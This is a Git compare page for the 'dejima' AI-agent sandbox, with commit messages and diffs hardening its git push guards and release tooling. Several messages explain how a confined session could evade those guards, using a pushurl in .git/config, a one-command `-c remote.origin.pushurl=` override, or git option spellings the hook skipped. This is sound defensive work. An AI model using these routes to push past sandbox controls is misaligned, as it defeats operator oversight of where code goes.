Compare commits

...
Author SHA1 Message Date
branderson 3a26bd2618 Compare the release against the base that is actually released
tests / confined (share) (pull_request_target) Successful in 1m39s
tests / confined (remote) (pull_request_target) Successful in 4m49s
tests / confined (config) (pull_request_target) Successful in 18m22s
tests / runner-env (confined) (pull_request_target) Successful in 42s
tests / confined (conversation) (pull_request_target) Successful in 1m32s
tests / confined (providers) (pull_request_target) Successful in 2m24s
tests / confined (proxy) (pull_request_target) Successful in 1m21s
tests / confined (shellcheck) (pull_request_target) Successful in 1m5s
tests / confined (project) (pull_request_target) Successful in 5m54s
tests / privileged (pull_request_target) Successful in 3m53s
tests / runner-env (privileged) (pull_request_target) Successful in 42s
tests / confined (audit) (pull_request_target) Successful in 8m27s
tests / confined (static) (pull_request_target) Successful in 7m46s
test/release-pass.sh took `main` - the local branch - as its default base.
Everything it prints is derived from base..head: which manual checks apply
comes from the paths the diff touches, and the rollback list comes from the
config keys it adds. A base behind the real one therefore reports on a
different release, and reports it confidently.

Not hypothetical. Two passes ran here against a local main 260 commits
behind origin/main, and both named config keys that had shipped releases
earlier and a trust-anchor domain this release does not add. One of those
reports was written into a handoff and read by the next agent as fact.

The default is the tracking ref now, and a base named explicitly is refused
when it is behind its own upstream - `main` is the ordinary thing to type
and is exactly how both stale runs happened, so catching only the default
would catch neither.

It exits rather than warning. A gate that says something is wrong and then
prints its report anyway is one whose output still ends up in a release PR.
2026-09-03 17:42:25 -07:00
branderson 483e44978d Merge pull request 'Ask git where the push is going, not where the fetch comes from' (#319) from secreview into development
Reviewed-on: #319
Reviewed-by: branderson <brad@branderson.io>
2026-09-03 16:02:41 -07:00
branderson f51403a3dc Ask git where the push is going, not where the fetch comes from
tests / confined (conversation) (pull_request_target) Successful in 54s
tests / confined (proxy) (pull_request_target) Successful in 1m2s
tests / confined (providers) (pull_request_target) Successful in 1m44s
tests / confined (share) (pull_request_target) Successful in 1m43s
tests / confined (shellcheck) (pull_request_target) Successful in 1m8s
tests / runner-env (confined) (pull_request_target) Successful in 43s
tests / confined (remote) (pull_request_target) Successful in 2m24s
tests / confined (project) (pull_request_target) Successful in 2m50s
tests / confined (audit) (pull_request_target) Successful in 3m9s
tests / confined (static) (pull_request_target) Successful in 2m40s
tests / privileged (pull_request_target) Successful in 3m47s
tests / runner-env (privileged) (pull_request_target) Successful in 41s
tests / confined (config) (pull_request_target) Successful in 4m17s
Found by the release pass's security review, reading the two push guards
against what they claim.

Both resolved the remote with `git remote get-url`, which answers with
remote.<name>.url. git pushes to remote.<name>.pushurl when one is set, so
a pushurl naming any other host was checked against the fetch URL and
allowed. No evasion needed: .git/config is in the read-write project mount
- deliberately, since `git push -u` writes there - so a session can set one
and every later push is checked against the wrong host. `get-url --push` is
the one question that answers where the push goes.

A one-command `-c remote.origin.pushurl=...` slipped a second way: both
guards skipped `-c` and its value while finding the subcommand, then
resolved the URL without it, answering for a different configuration than
the push would run under. Both now carry those overrides into their own
lookup.

And the hook had two problems of its own, neither shared with the shadow:

It recognised `git push` and `git -C <dir> push` by pattern and nothing
else, so `git -c k=v push`, `git --git-dir=... push` and `git --no-pager
push` were not pushes as far as it was concerned and it exited 0 before any
check ran. It walks tokens now, splitting compound commands on the shell
separators first so that only a segment beginning with git is read as a git
invocation - `echo push` is not one.

It also failed OPEN on a remote it could not resolve where the shadow fails
closed, and the shadow's comment says why closed is right: an unresolvable
remote is what a disagreement between a parser and git's own looks like,
and that has to be a refusal rather than a push nobody checked. Reaching
that state was easy, because splitting the command on the first occurrence
of "push" split inside `pushurl` and produced a nonsense remote.

The shadow catches every one of these regardless - it is the layer that
holds whichever harness is selected - so what was wrong was the earlier
warning being quieter than it claimed, not the boundary. The test that the
two guards agree now has cases where they did not.
2026-09-03 15:46:49 -07:00
branderson ebfc5ce7ff Merge pull request 'Fix the release blocker, and report the axis the rollback check was missing' (#315) from release-fixes into development
Reviewed-on: #315
Reviewed-by: branderson <brad@branderson.io>
2026-09-03 15:29:48 -07:00
branderson 3e1521c412 Describe what the code does, not what it stopped doing
tests / confined (conversation) (pull_request_target) Successful in 56s
tests / confined (proxy) (pull_request_target) Successful in 1m2s
tests / confined (share) (pull_request_target) Successful in 1m41s
tests / confined (providers) (pull_request_target) Successful in 1m43s
tests / confined (shellcheck) (pull_request_target) Successful in 1m8s
tests / runner-env (confined) (pull_request_target) Successful in 43s
tests / confined (remote) (pull_request_target) Successful in 2m22s
tests / confined (project) (pull_request_target) Successful in 2m44s
tests / confined (audit) (pull_request_target) Successful in 3m6s
tests / confined (static) (pull_request_target) Successful in 2m36s
tests / privileged (pull_request_target) Successful in 3m39s
tests / runner-env (privileged) (pull_request_target) Successful in 41s
tests / confined (config) (pull_request_target) Successful in 4m15s
The passage fixing the credential blocker narrated the change instead of
the state: "used to fall through to it", "that is now a refusal". Someone
reading it to find out what happens today has to work out which half is
still true, and .dejima.md says exactly this - cut what the code replaced,
git holds it, and a reader debugging the line has no use for it.

Two more of the same voice, both mine from the prose pass: the credential
proxy "is no longer on that list", and a session-start hook being "no
longer the only route". Neither past state is load-bearing; both sentences
say more without it.
2026-09-03 15:15:02 -07:00
branderson 6baf78d05c Print nothing when there is nothing to print, and accept a bracketed model
Two small things from a real install and a real launch.

install.sh emitted a blank line before the defaults rebuild whether or not
the rebuild had anything to say, so a run that added, dropped and reported
nothing left a double gap between two paragraphs that were already
separated. The blank line belongs to each message instead, which makes
silence silent.

And `claude-opus-5[1m]` was refused as a model id. The modelid type was
added a week ago because `identifier` had no slash and no OpenRouter id
could be configured; the set it grew was built from the ids in that report,
and Anthropic brackets a context variant. So the same bug, one release
later, for the same reason: a charset derived from the failure at hand
rather than from what the catalogues actually spell.

Brackets carry no meaning anywhere this value goes - it is written with jq
--arg - and the reason the type stays narrow is unchanged: a newline or a
tab would split a record every reader of this config expects to be one
line. Those are still refused, along with a space, a semicolon and a
backtick.

The test grew the bracketed id beside the others rather than replacing
them, and says why: real ids from every catalogue dejima can reach, not the
ones that prompted a fix.
2026-09-03 15:15:02 -07:00
branderson 26ed2e6a5b Wait for the byte to arrive rather than pumping for a fixed 0.8s
CI failed static.bats 144 with

    FAIL ctrl-c-still-reaches-the-session b'ped\n'

The last four bytes the container received were the tail of `typed\n`,
the line sent immediately before: ^C had not arrived yet when the check
looked. Nothing was wrong with the code under test.

Two sites sent a byte, pumped the pty for 0.8 seconds and then asserted -
timing the machine rather than waiting for the thing. A byte written to
the master has to reach the client, cross into the container stand-in and
be appended to a file before a check can see it, and on a loaded host that
is not reliably under 0.8s.

This is the third instance of the same bug in this file. The reclaim wait
and await_raw are the first two, and await_raw's own comment names the
shape - "Sampling the flags right after fg was timing the machine, and on
a loaded one it read the shell's own canonical mode". So it gets the same
answer they got, factored: await_received polls until what the container
received satisfies a predicate, and returns the predicate's answer at the
deadline either way, so a real failure still fails rather than hanging
until the suite's own timeout.

Verified under load rather than by argument: three consecutive runs green
with twenty busy loops on ten cores, which is heavier than the CI host
that failed it.
2026-09-03 15:15:02 -07:00
branderson 1f251efd5b Stop describing a fallthrough that is now a refusal
Release blocker, found by a release pass rather than by a test.

c306c32 made an unproxied credential a launch refusal: a Claude Code
signed in with a console API token has no claudeAiOauth block, so
backends/anthropic cannot serve it, and dejima used to skip the proxy and
mount the real file. docs/security.md's arrangements table went on listing
that as the fourth row - the one where the real credential is mounted and
a compromised session can take it.

A document promising the weakest posture for a launch that no longer
happens is worse than one saying nothing, because it is the posture an
operator plans around. Only proxy = off lands there now, and only where
they wrote it. The passage says what happens instead, and that the refusal
is scoped to a credential that exists: an absent one still launches,
because that is a host nobody has signed in on yet.

A static test pins the two together, since the drift was silent for a
release and nothing would have caught the next one. It reads the table's
own row rather than the prose around it, and asserts the code still
refuses - so removing the refusal fails the test about the document, which
is the direction that matters.

Also from the same pass: test/release-pass.sh enumerated four provider
axes under a comment claiming every one, and tools is the fifth. A new
tool is the same rollback hazard - [core] tools = rtk is refused by a
dejima that does not ship rtk - so it now reports one, names it through
the value that refuses rather than as a config section it does not have,
and a check against the tree fails when an axis is added and not listed.
A change under tools/ gets a manual check too; nothing here runs one.

And a flourish trimmed in docs/development.md: "confirmed rather than
argued" said nothing the sentence after it did not. What is left is the
fact, now stronger - Cline has run real completions through the terminator
against two backends of different api_style.
2026-09-03 15:15:02 -07:00
branderson 58c6f1b64d Merge pull request 'Read the rejection whatever its framing, and stop calling a 429 a refusal' (#317) from proxy-log2 into development
Reviewed-on: #317
Reviewed-by: branderson <brad@branderson.io>
2026-09-03 15:14:24 -07:00
branderson 3642156e7c Merge pull request 'Say that a Claude subscription is served to Claude Code, and that dejima will not pretend otherwise' (#318) from subscription-gating into development
Reviewed-on: #318
Reviewed-by: branderson <brad@branderson.io>
2026-09-03 15:14:00 -07:00
branderson df7c32154c Keep the gating in providers.md, where a limit on dejima belongs
tests / confined (conversation) (pull_request_target) Successful in 59s
tests / confined (proxy) (pull_request_target) Successful in 1m2s
tests / confined (share) (pull_request_target) Successful in 1m46s
tests / confined (shellcheck) (pull_request_target) Successful in 1m10s
tests / confined (providers) (pull_request_target) Successful in 2m18s
tests / runner-env (confined) (pull_request_target) Successful in 43s
tests / confined (remote) (pull_request_target) Successful in 2m29s
tests / confined (project) (pull_request_target) Successful in 2m53s
tests / confined (audit) (pull_request_target) Successful in 3m13s
tests / confined (config) (pull_request_target) Successful in 4m29s
tests / privileged (pull_request_target) Successful in 3m52s
tests / runner-env (privileged) (pull_request_target) Successful in 43s
tests / confined (static) (pull_request_target) Successful in 2m45s
responsible-use.md is where dejima makes a judgement about what an operator
does - don't spam maintainers, own what you merge, security is not
retrofittable. Working around a vendor's client gating is not that, and
dejima has no view on whether someone should try.

What dejima has is a limit: it does not do it. That is a fact about the
credential proxy, so it lives beside the fact that prompted it, in
providers.md, where someone choosing a backend is already reading.

The reasons are the engineering ones. The proxy substitutes the credential
and changes nothing else, so getting past the gate would mean sending a
system prompt the harness never wrote - a second answer to "which client is
this" inside the component whose only job is to pass the first one through.
And it would be brittle where the cost lands on the operator's account
rather than on dejima.

Gone with the section: the sentence about a sandbox not getting to pick
which boundaries it honours. True of the sandbox, and an argument nobody
reading this needed.
2026-09-03 15:03:24 -07:00
branderson ea352d21ce Say that a Claude subscription is served to Claude Code, and that dejima
tests / confined (conversation) (pull_request_target) Successful in 53s
tests / confined (proxy) (pull_request_target) Successful in 1m1s
tests / confined (share) (pull_request_target) Successful in 1m45s
tests / confined (providers) (pull_request_target) Successful in 1m48s
tests / confined (shellcheck) (pull_request_target) Successful in 1m9s
tests / runner-env (confined) (pull_request_target) Successful in 42s
tests / confined (remote) (pull_request_target) Successful in 2m27s
tests / confined (project) (pull_request_target) Successful in 2m51s
tests / confined (audit) (pull_request_target) Successful in 3m12s
tests / confined (static) (pull_request_target) Successful in 2m42s
tests / confined (config) (pull_request_target) Successful in 4m22s
tests / privileged (pull_request_target) Successful in 3m37s
tests / runner-env (privileged) (pull_request_target) Successful in 40s
will not pretend otherwise

The compatibility table said `anthropic` x `cline` and stopped there, which
is true of the dialects and not of the answer a session gets. A Claude
subscription's OAuth credential is served to Claude Code and refused to
other clients per model: claude-haiku-4-5 is served, claude-opus-5 and
claude-sonnet-5 are not, while an otherwise identical request from Claude
Code succeeds.

The refusal is a 429 rate_limit_error whose body message is the word
Error, so from inside it is indistinguishable from a quota problem - an
account nowhere near any limit still has every request refused. That is
worth documenting on its own: it cost an afternoon of reading usage graphs
before an experiment settled it.

The table itself is unchanged and stays derived - it answers whether dejima
will pair the two, which is a question about api_style. Whether the
endpoint then serves the request is the endpoint's to answer, and now has
a section of its own beside the table rather than a hedge inside it. The
matrix test keeps checking the cells against the manifests, which is what
it is for.

R5's "confirmed end to end" is qualified rather than withdrawn: the
arrangement is confirmed - placeholder in, real credential injected
host-side, a real completion out - and which models the credential will
serve a client that is not Claude Code is a separate question it never
asked.

And the non-goal, in responsible-use.md where this project's positions
live: dejima will not make one harness present itself as another to get
past that gate. It would forge a product's identity against the operator's
own account, on a control the provider put there deliberately. It would be
brittle in the worst way - working until the day it does not, and that day
being a question about someone's account rather than a bug report. And it
would contradict what the rest of the project spends its effort on: the
credential proxy forwards the harness's own request so that what the API
sees is true, down to declining to send a header the client did not.

The supported answers are both real ones - a credential that is yours to
spend for another harness, or the harness the subscription was issued for.
2026-09-03 14:37:25 -07:00
13 changed files with 470 additions and 58 deletions
+8 -4
View File
@@ -410,16 +410,20 @@ _config_valid_value() {
# A model's name at whatever endpoint serves it, which is not an
# identifier: every hosted catalogue namespaces by vendor with a
# slash (`z-ai/glm-5.3`) and several qualify a variant with a colon
# (`deepseek/deepseek-r1:free`, `llama3:8b`). Typed `identifier`,
# not one OpenRouter id could be configured at all, so the backend
# this harness exists to reach was unusable.
# (`deepseek/deepseek-r1:free`, `llama3:8b`), and Anthropic
# brackets a context variant (`claude-opus-5[1m]`). Typed
# `identifier`, not one OpenRouter id could be configured at all,
# so the backend this harness exists to reach was unusable; the
# first fix for that missed the brackets, which is why the set
# below is the union of what real catalogues spell rather than
# what the last reported id needed.
#
# Still narrow, and for the same reason `path` is: this reaches an
# agent's configuration file. It is written there with jq --arg, so
# the JSON escaping is not what this is protecting - what it
# protects is that a value carrying a newline or a tab would split
# a record every reader of this config expects to be one line.
[[ "$value" =~ ^[A-Za-z0-9][A-Za-z0-9._:/-]*$ ]]
[[ "$value" =~ ^[A-Za-z0-9][][A-Za-z0-9._:/-]*$ ]]
;;
jsonfield)
# Which value inside a credentials file is the key: dot-separated
+15 -2
View File
@@ -299,14 +299,27 @@ def _readable(raw, encoding):
# zstd and anything else. Saying which is more use than printing the
# bytes, and printing the bytes is what this exists to stop.
return "(%d bytes, %s-encoded)" % (len(raw), enc)
text = raw.decode("utf-8", "replace")
return "".join(c if c.isprintable() else " " for c in text).strip()
# Decodes only. Making the text fit for a terminal is _diag's, so that
# every producer is covered rather than this one path.
return raw.decode("utf-8", "replace").strip()
# One line, timestamped, appended. Falls back to stderr when the file cannot
# be written rather than losing the message: a diagnostic that disappears
# because the thing that reports problems had a problem is the worst kind.
def _diag(path, line):
# Sanitised at the sink, not at each producer. bin/dejima prints this file
# to the operator's terminal after a session ends, so it is a terminal-
# bound channel carrying text chosen by an upstream API and, through the
# request path and exception messages, by the session itself. That is the
# hazard docs/security.md describes for audit findings, which are
# hex-encoded for it.
#
# Nothing gets through today - CPython's request-line parser and
# http.client both refuse a control character in a URL, and both repr what
# they refuse - but that is two coincidences rather than a property, and
# neither of them covers a producer added later.
line = "".join(c if c.isprintable() or c == " " else " " for c in str(line))
stamped = "%s %s\n" % (time.strftime("%H:%M:%S"), line)
if path:
try:
+5 -3
View File
@@ -1016,13 +1016,15 @@ config_defaults_rebuild() {
if [ ! -e "$path" ]; then
mv "$tmp" "$path" || { rm -f "$tmp"; return 1; }
printf 'Pinned this release'"'"'s defaults in %s.\n' "$path"
printf '\nPinned this release'"'"'s defaults in %s.\n' "$path"
return 0
fi
mv "$tmp" "$path" || { rm -f "$tmp"; return 1; }
[ "$added" -eq 0 ] || printf 'Pinned %s new default(s) in %s.\n' "$added" "$path"
[ "$dropped" -eq 0 ] || printf 'Dropped %s retired line(s) from %s.\n' "$dropped" "$path"
# Each line carries the blank one before it, so a rebuild with nothing to
# say prints nothing at all rather than a gap where a message would go.
[ "$added" -eq 0 ] || printf '\nPinned %s new default(s) in %s.\n' "$added" "$path"
[ "$dropped" -eq 0 ] || printf '\nDropped %s retired line(s) from %s.\n' "$dropped" "$path"
# Drift, last, because it is the part that asks something of the operator.
while IFS= read -r key; do
+20 -2
View File
@@ -38,6 +38,12 @@ fi
repo_dir="$PWD"
subcommand=""
argv=("$@")
# Every `-c key=value` this push carries, kept rather than only skipped. The
# question below is where the push will go, and git answers that from the
# config the push runs under - so resolving it without these would answer for
# a different configuration than the one about to be used. A one-command
# `-c remote.origin.pushurl=...` is exactly that case.
config_overrides=()
i=0
while [ "$i" -lt "${#argv[@]}" ]; do
case "${argv[$i]}" in
@@ -45,7 +51,12 @@ while [ "$i" -lt "${#argv[@]}" ]; do
i=$((i + 1))
[ "$i" -lt "${#argv[@]}" ] && repo_dir="${argv[$i]}"
;;
-c|--exec-path|--git-dir|--work-tree|--namespace|--super-prefix)
-c)
i=$((i + 1))
[ "$i" -lt "${#argv[@]}" ] \
&& config_overrides+=(-c "${argv[$i]}")
;;
--exec-path|--git-dir|--work-tree|--namespace|--super-prefix)
i=$((i + 1))
;;
-*)
@@ -97,7 +108,14 @@ while [ "$i" -lt "${#argv[@]}" ]; do
done
[ -n "$remote" ] || remote=origin
remote_url="$("$REAL_GIT" -C "$repo_dir" remote get-url "$remote" 2>/dev/null)"
# --push, because that is the URL the push will use. Without it this reads
# remote.<name>.url while git pushes to remote.<name>.pushurl when one is set,
# so a pushurl naming any other host is checked against the fetch URL and
# allowed. It needs no evasion to reach: `git -c remote.origin.pushurl=...
# push origin branch` sets one for a single command, and .git/config is in the
# read-write project mount, so a session can also just write one down.
remote_url="$("$REAL_GIT" ${config_overrides[@]+"${config_overrides[@]}"} \
-C "$repo_dir" remote get-url --push "$remote" 2>/dev/null)"
# A remote this cannot resolve is refused rather than passed through. It is
# usually a typo, which git would reject in a moment anyway - but it is also
# what a disagreement between this parser and git's looks like, and the
+13 -8
View File
@@ -319,7 +319,7 @@ or better is the requirement.
| **R3** | **Yes, by running it, and the documentation is wrong about how.** A rules file at `~/Documents/Cline/Rules/00-dejima.md` reached the model: asked for a codeword only that file contained, the session answered with it. `~/.agents/AGENTS.md` works too. `~/Cline/Rules`, which the documentation names, is **not** read on Linux, and `CLINE_RULES` pointing at a file did nothing. So the briefing is a file rather than a hook, which is what `briefing_path` in the manifest is for. |
| **Network reach** | **In the container, unlike Claude Code's.** Not a requirement, but the thing [security.md](security.md#the-firewall-bounds-the-container-not-the-harness) says has to be established per harness rather than assumed. Asked to fetch a page the allowlist does not carry, Cline's web-fetch tool ran and returned "Unable to connect" - the same answer `curl` gives. So the egress allowlist bounds what reaches a Cline session, which is not true of Claude Code's `WebSearch`. |
| **R4** | **Yes, by running it, and this is where Cline is strongest.** `--data-dir` relocates the whole store - `db/`, `settings/`, `logs/`, `cache/`. A full run against a chosen directory put everything there and left nothing in the default location. There are per-path environment variables too: `CLINE_DATA_DIR`, `CLINE_DB_DATA_DIR`, `CLINE_SESSION_DATA_DIR`, `CLINE_TEAM_DATA_DIR`, `CLINE_PROVIDER_SETTINGS_PATH`, `CLINE_HOOKS_LOG_PATH`. Per-project scoping is a flag rather than an inference. |
| **R5** | **Yes, and confirmed end to end.** Credentials are a plain file, `settings/providers.json`, whose path `CLINE_PROVIDER_SETTINGS_PATH` relocates - so dejima can decline to mount the operator's. The substitute is the one that already exists: Cline configured for `anthropic` with the placeholder key `sandbox-credential-proxy-placeholder`, pointed at the real hostname, ran a real completion through dejima's in-container terminator and host-side proxy. No base-URL override and no new proxy work - the same arrangement as Claude Code's faked `.credentials.json`, and the session is indistinguishable from a stock install. |
| **R5** | **Yes, and confirmed end to end.** Credentials are a plain file, `settings/providers.json`, whose path `CLINE_PROVIDER_SETTINGS_PATH` relocates - so dejima can decline to mount the operator's. The substitute is the one that already exists: Cline configured for `anthropic` with the placeholder key `sandbox-credential-proxy-placeholder`, pointed at the real hostname, ran a real completion through dejima's in-container terminator and host-side proxy. No base-URL override and no new proxy work - the same arrangement as Claude Code's faked `.credentials.json`, and the session is indistinguishable from a stock install. **What that completion did not establish is which models the subscription credential will serve a client that is not Claude Code**: Anthropic gates that per model and answers a refused one with a 429, so the arrangement is confirmed and the entitlement is not dejima's to give. See [providers.md](providers.md#a-subscription-credential-is-claude-codes-and-anthropic-enforces-that). |
Two notes for whoever writes the integration. Cline's plugin manifest schema
still carries a field described as "not read by Claude Code", so its plugin
@@ -362,7 +362,11 @@ a substituted value is never resolved.
anywhere; dejima cannot follow it everywhere. A backend the proxy serves is
fine whatever its dialect - the proxy takes the credential's kind and header
names as arguments, so `openrouter` works the way `anthropic` does and the key
never enters the container either way. What dejima cannot follow is a hosted
never enters the container either way. Whether the ENDPOINT then serves the
request is a separate question dejima does not answer: a Claude subscription
credential is served to Claude Code and refused to other clients for the
larger models, which is Anthropic's call and not one dejima works around
(see [providers.md](providers.md#a-subscription-credential-is-claude-codes-and-anthropic-enforces-that)). What dejima cannot follow is a hosted
API reached *without* a backend: there is no proxy holding a key back on its
behalf, so the key would have to go in, which is R5 failing rather than a
network restriction.
@@ -559,12 +563,13 @@ built into its own layer like any other. The base image carries nothing of any
harness's - not its package, not the directories it keeps state in, not its
environment, and not its name as a default command.
The credential proxy is no longer on that list either. Which header carries
the credential, what shape it takes, what must not travel beside it and
whether it can be refreshed are all arguments the selected backend supplies,
so a second harness reaches a proxied backend without a branch of its own -
which is the R5 row above, and is confirmed rather than argued: Cline runs a
real completion through the same terminator and the same host-side proxy.
Nor is the credential proxy harness-shaped. Which header carries the
credential, what shape it takes, what must not travel beside it and whether it
can be refreshed are all arguments the selected backend supplies, so a second
harness reaches a proxied backend without a branch of its own - the R5 row
above. Cline has run real completions through the same terminator
and the same host-side proxy, against `anthropic` and against `openrouter`,
which is a different api_style through the same code.
`providers.bats` covers the manifest contract itself and is where a new
`harness.conf` gets its parsing and validation tests. `config.bats`,
+57 -2
View File
@@ -298,6 +298,13 @@ Compatibility is not a list anyone maintains: it is the backend's `api_style`
against the harness's `api_styles`, checked at launch. This table is what those
declarations currently work out to.
It answers whether dejima will pair the two, which is a question about
dialects. Whether the endpoint then serves the request is the endpoint's to
answer, and for a Claude subscription credential the answer depends on the
harness - see [A subscription credential is Claude
Code's](#a-subscription-credential-is-claude-codes-and-anthropic-enforces-that)
below.
| Backend | `claude-code` | `cline` | Credential | You configure |
| --- | --- | --- | --- | --- |
| `anthropic` | yes | yes | OAuth, refreshed and written back | nothing, once you have logged in on the host |
@@ -315,6 +322,54 @@ Adding a backend does not change this table by hand: a new directory whose
`api_style` is one a harness already declares works with that harness the day
it lands.
### A subscription credential is Claude Code's, and Anthropic enforces that
`backends/anthropic` reads the OAuth credential Claude Code writes when you
sign in with a Claude subscription. **Anthropic serves that credential to
Claude Code and refuses other clients, per model.** Observed on a Max
subscription: `claude-haiku-4-5` is served, `claude-opus-5` and
`claude-sonnet-5` are refused, while an otherwise identical request from
Claude Code succeeds.
The refusal arrives as **HTTP 429 `rate_limit_error`**, with a body whose
message is the word `Error`. It is indistinguishable from a quota problem
from the inside, which is worth knowing before you spend an afternoon on
your usage graphs: the account can be nowhere near any limit and every
request will still be refused.
So with `[core] harness = cline` and `backend = anthropic`, expect Haiku to
work and the larger models not to. For those, point cline at a backend whose
credential is yours to spend rather than a subscription's:
```
[harness.cline]
backend = anthropic-api-key # console billing, key held on the host
# or
backend = openrouter
```
`claude-code` with `backend = anthropic` is unaffected - that pairing is the
one Anthropic is serving.
**dejima does not work around this**, and that is a limit on what dejima does
rather than an opinion about the attempt.
The credential proxy substitutes the credential and changes nothing else: the
header block the API receives is the harness's own, down to not adding an
`Accept-Encoding` the client did not send. Getting past this gate would mean
sending a system prompt the harness never wrote, so that the request presents
as a different product - which is the one thing the proxy is built not to do,
and would put a second answer to "which client is this" inside the component
whose whole job is to pass the first one through unchanged.
It would also be brittle in a way that costs the operator rather than dejima:
it works until the shape it copies changes, and the failure lands on their
account.
Which models are gated is Anthropic's to change, and the table above is an
observation on one subscription rather than a documented policy - if it moves,
this section moves with it.
**Which backend a launch uses is the harness's setting**, `[harness.<name>]
backend`, overridable for one launch with `--backend`. Per harness because
that is how it is used: one harness against Anthropic and another against
@@ -390,8 +445,8 @@ known until the container is actually running.
### How the briefing reaches the session
**A session-start hook is a size-limited channel, which is why it is no longer
the only route.** Claude Code persists a large `SessionStart` payload to a file
**A session-start hook is a size-limited channel, which is why it is not the
only route.** Claude Code persists a large `SessionStart` payload to a file
and injects a short preview in its place: measured in a dejima container, 9KB
arrived whole and 21KB did not. A composed briefing plus a project's own
`.dejima.md` runs well past that, so most of the briefing silently never
+11 -3
View File
@@ -626,7 +626,7 @@ it.
| **Proxied, refreshing** (`credential = anthropic-oauth`) | A fake credential file whose secrets are placeholders. The real one is read host-side per request. | The placeholder. | Use the API as you, through the proxy, while the session runs. |
| **Proxied, static key** (`credential = static`) | A placeholder key in the harness's own model configuration, and the endpoint's real hostname. | The placeholder. | The same. |
| **A backend with no credential** (`credential = none`, a model you serve) | Nothing but the endpoint's address. It needs no credential, so there is none to withhold. | Nothing. | Reach that endpoint, which is why it has to be one you allowlisted. |
| **No proxy** (`[credentials] proxy = off`, or a Claude Code login the selected backend cannot serve) | The real credential file, mounted. | **The credential itself**, durable and usable offline. | Everything the credential allows, for as long as it is valid. |
| **No proxy** (`[credentials] proxy = off`, or `[backend.<name>] proxy = off`) | The real credential file, mounted. | **The credential itself**, durable and usable offline. | Everything the credential allows, for as long as it is valid. |
**The first three keep the credential out; the fourth does not.** That is the
whole of the difference, and it is why `proxy = off` is described here as a
@@ -641,8 +641,16 @@ the host and injected per request. On the API-key path the container gets
`ANTHROPIC_API_KEY=sandbox-credential-proxy-placeholder` and no credential file
at all.
What lands in the fourth row is `proxy = off`, and a login whose shape no
selected backend serves.
**Only `proxy = off` lands in the fourth row, and only where you wrote it.**
A credential the selected backend cannot serve - a Claude Code signed in with
a console API token, whose file holds no `claudeAiOauth` block, against
`backends/anthropic` - is a refusal, naming the backend, the file, the shape
it expected and the two ways forward. A kill switch that can engage itself is
not one, which is why this row is a kill switch rather than an option.
The refusal is scoped to a credential that *exists* and cannot be served. An
absent one mounts nothing and downgrades nothing - that is a host where the
harness has not been signed in yet, and it still launches.
**The proxy is switched per backend, not globally.** `[backend.<name>] proxy`
falls back to `[credentials] proxy` when unset. One backend whose credential
+92 -19
View File
@@ -25,28 +25,92 @@ input=$(cat)
command=$(echo "$input" | jq -r '.tool_input.command // empty')
cwd=$(echo "$input" | jq -r '.cwd // empty')
# Only care about `git push` invocations.
if ! [[ "$command" =~ (^|[[:space:]&\|;])git([[:space:]]+-C[[:space:]]+[^[:space:]]+)?[[:space:]]+push([[:space:]]|$) ]]; then
exit 0
fi
# Only care about `git push` invocations - found by walking tokens rather than
# by matching a shape.
#
# The pattern this replaced recognised `git push` and `git -C <dir> push` and
# nothing else, so every other spelling of git's own options - `git -c k=v
# push`, `git --git-dir=... push`, `git --no-pager push` - was not a push as
# far as this hook was concerned, and it exited 0 before any check ran. The
# PATH shadow in docker/git-guard.sh walks argv and caught them regardless,
# which is why this was a quiet gap in the earlier warning rather than an open
# one.
#
# Split on the shell separators first, because a push can be the second half
# of a compound command, and only the segment that STARTS with git is a git
# invocation - "echo push" is not.
push_seen=0
segment=""
IFS=$'\n' read -rd '' -a _segments < <(
printf '%s' "$command" | sed 's/&&/\n/g; s/||/\n/g; s/;/\n/g; s/|/\n/g'
printf '\0')
for seg in ${_segments[@]+"${_segments[@]}"}; do
read -ra _t <<< "$seg"
[ "${#_t[@]}" -gt 0 ] || continue
[ "${_t[0]}" = git ] || continue
_i=1
while [ "$_i" -lt "${#_t[@]}" ]; do
case "${_t[$_i]}" in
-c|-C|--exec-path|--git-dir|--work-tree|--namespace|--super-prefix)
_i=$((_i + 1)) ;;
-*) ;;
push) push_seen=1; segment="$seg"; break ;;
*) break ;;
esac
_i=$((_i + 1))
done
[ "$push_seen" -eq 1 ] && break
done
[ "$push_seen" -eq 1 ] || exit 0
# Everything below reads the git invocation, not the whole command line.
command="$segment"
repo_dir="$cwd"
if [[ "$command" =~ git[[:space:]]+-C[[:space:]]+([^[:space:]]+) ]]; then
repo_dir="${BASH_REMATCH[1]}"
fi
# Positionally parse everything after "push": first non-flag token is the
# remote, second (if any) is the refspec. Word-splitting rather than a full
# shell parse, so quoting edge cases aren't handled - same pragmatic
# tradeoff as the sibling deny-dangerous-bash.sh denylist.
after_push="${command#*push}"
read -ra tokens <<< "$after_push"
# One pass over the whole command, the way the shadow walks argv: skip git's
# own options until the first token that IS the subcommand, then take the
# first non-flag token as the remote and the second as the refspec.
#
# Splitting on the first occurrence of the substring "push" is what this
# replaced, and it split inside `remote.origin.pushurl=...`, a branch named
# push-fix, and anything else carrying the word. What came out was a nonsense
# remote, which then took the unresolvable path below.
#
# Word-splitting rather than a full shell parse, so quoting edge cases are not
# handled - the same pragmatic tradeoff as the sibling
# deny-dangerous-bash.sh denylist, and the reason the unresolvable case
# refuses rather than guesses.
#
# `-c key=value` is kept rather than dropped: git resolves where a push goes
# from the config the push runs under, so asking without these answers for a
# different configuration. `git -c remote.origin.pushurl=... push origin
# branch` is that case.
config_overrides=()
positional=()
for tok in "${tokens[@]}"; do
case "$tok" in
-*) continue ;;
*) positional+=("$tok") ;;
esac
read -ra tokens <<< "$command"
t=0
seen_push=0
while [ "$t" -lt "${#tokens[@]}" ]; do
tok="${tokens[$t]}"
if [ "$seen_push" -eq 0 ]; then
case "$tok" in
-c) t=$((t + 1))
[ "$t" -lt "${#tokens[@]}" ] && config_overrides+=(-c "${tokens[$t]}") ;;
-C|--exec-path|--git-dir|--work-tree|--namespace|--super-prefix)
t=$((t + 1)) ;;
push) seen_push=1 ;;
*) ;;
esac
else
case "$tok" in
-*) ;;
*) positional+=("$tok") ;;
esac
fi
t=$((t + 1))
done
remote="origin"
@@ -58,11 +122,20 @@ if [ "${#positional[@]}" -ge 2 ]; then
refspec="${positional[1]}"
fi
remote_url=$(git -C "$repo_dir" remote get-url "$remote" 2>/dev/null)
# --push: the URL the push will actually use. remote.<name>.pushurl wins over
# remote.<name>.url when it is set, and reading the latter checks a host the
# push is not going to. See docker/git-guard.sh, which asks the same question.
remote_url=$(git ${config_overrides[@]+"${config_overrides[@]}"} \
-C "$repo_dir" remote get-url --push "$remote" 2>/dev/null)
if [ -z "$remote_url" ]; then
